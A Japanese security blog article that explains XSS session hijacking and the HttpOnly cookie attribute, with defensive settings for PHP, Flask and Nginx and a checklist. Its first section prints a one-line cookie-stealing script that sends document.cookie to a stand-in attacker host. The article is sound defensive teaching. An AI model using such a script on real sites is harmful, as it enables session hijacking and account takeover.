現場のセキュリティ担当者が教える「XSSとHttpOnly」の残酷な現実
「XSS対策はサニタイズしていれば完璧」なんて夢を見ていないか？
現場でいくつもの侵入テストやインシデント対応を行っていると、必ずと言っていいほど「あと一歩」で防げたはずの悲劇に遭遇する。XSS（クロスサイトスクリプティング）はWeb脆弱性の代表格だが、攻撃者が狙っているのは「画面を書き換えて遊ぶこと」ではなく、「セッションクッキーを盗み取り、なりすましでバックドアを開くこと」だ。
今回は、XSSを食らったとしても「致命傷（セッションハイジャック）」を回避するための最後の砦、HttpOnly属性について、プロの現場感覚で解説する。
—
1. なぜ「XSS＝クッキー盗難」になるのか？（攻撃者の視点）
攻撃者がXSS脆弱性を見つけたとき、彼らが最初に実行するのはこんな単純なスクリプトだ。
// 攻撃者のPoC（概念実証）
// 悪意のあるスクリプトが、外部のサーバーへクッキーを送信する
fetch(‘https://attacker.com/log?cookie=’ + document.cookie);
もし、あなたのアプリケーションがセッションIDを標準的なクッキーに保存しており、HttpOnly属性を付与していない場合、document.cookieにはセッションIDが平然と格納されている。攻撃者はこれを一行のコードで自サーバーに転送し、あなたのユーザーのセッションを即座に奪う。
これが「セッションハイジャック」のリアルだ。管理画面にログインしている管理者権限のクッキーが盗まれれば、その瞬間にシステムは乗っ取られたと同義になる。
—
2. HttpOnly属性という「最強の盾」
HttpOnlyは、クッキーに付与するたった一つのフラグだ。これを付けると、JavaScriptの document.cookie オブジェクトからそのクッキーが不可視になる。
たとえ攻撃者がXSSを成功させ、巧妙なスクリプトを注入しても、JavaScriptからセッションクッキーに触れることができなくなる。つまり、攻撃者の「クッキー盗難」という目的を物理的に遮断できるわけだ。
実装サンプル：言語別・フレームワーク別の設定
PHPでの実装例
PHPでは、session_start() を呼ぶ前に、または php.ini で一括設定するのが定石だ。
// PHP 7.3以降推奨：session_set_cookie_paramsでの設定
session_set_cookie_params([
‘lifetime’ => 0, // ブラウザを閉じたら削除
‘path’ => ‘/’,
‘domain’ => ‘example.com’,
‘secure’ => true, // HTTPS必須（これも必須ルール！）
‘httponly’ => true, // 【最重要】JSからのアクセスを拒否
‘samesite’ => ‘Lax’ // CSRF対策も兼ねる
]);
session_start();
Python (Flask/Django) での実装例
現代的なフレームワークなら設定一つで済む。ここを「デフォルトのまま」にしている奴が一番危ない。
Flaskのコンフィグ例
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # これがTrueになっているか確認せよ
SESSION_COOKIE_SECURE=True, # 本番環境では必ずTrueに
SESSION_COOKIE_SAMESITE=’Lax’
)
Nginxで強制的に防御する場合（インフラ層での防御）
アプリケーションコードに修正を入れる時間が取れない場合、せめてプロキシ層でヘッダーを制御する。ただし、これは応急処置だ。
Nginxの設定例：Set-CookieヘッダーにHttpOnlyを強制的に付与する
※ただし、すでにアプリ側で付与されている場合は注意が必要
proxy_cookie_path / “/; HTTPOnly; Secure”;
—
3. なぜ「サニタイズだけ」では不十分なのか？
「エスケープ処理を徹底しているから大丈夫」と言うエンジニアほど危うい。
理由はシンプルだ。「人間は必ずミスをするから」だ。
- テンプレートエンジンへの変数の渡し忘れ
- ライブラリのアップデートによる挙動の変化
- サードパーティ製プラグインの未知の脆弱性
これらが発生したとき、XSSは一瞬で発生する。HttpOnlyは、いわば「万が一、防壁が突破された時のための防弾チョッキ」だ。開発者は常に「XSSは防げないかもしれない」という前提で設計しなければならない。
—
4. プロの現場でのチェックリスト
明日から自分の担当プロジェクトを確認してほしい。以下の条件を一つでも満たしていないなら、それは「脆弱性を放置している」のと同じだ。
1. ブラウザのデベロッパーツール（ネットワークタブ）を確認：
Set-Cookieヘッダーに HttpOnly がついているか？
2. HTTPSの徹底：
Secure 属性はついているか？（HttpOnlyとセットで運用するのが現代のWeb標準）
3. SameSite属性の検討：
Lax または Strict を指定し、CSRF対策も同時に行っているか？
まとめ：セキュリティは「多重防御」の積み重ね
XSS対策のゴールは、サニタイズの徹底だけではない。「万が一の被害を最小限に抑えること」こそが、最高峰のエンジニアが目指すべき設計思想だ。
HttpOnlyを有効にすることは、今日からあなたができる最も簡単で、かつ極めて効果的なセキュリティ投資だ。今すぐ設定ファイルを開き、この一行が確実に適用されているか確認してほしい。
それが、あなたのユーザーを守るための、プロとしての最低限の責任だ。
コメント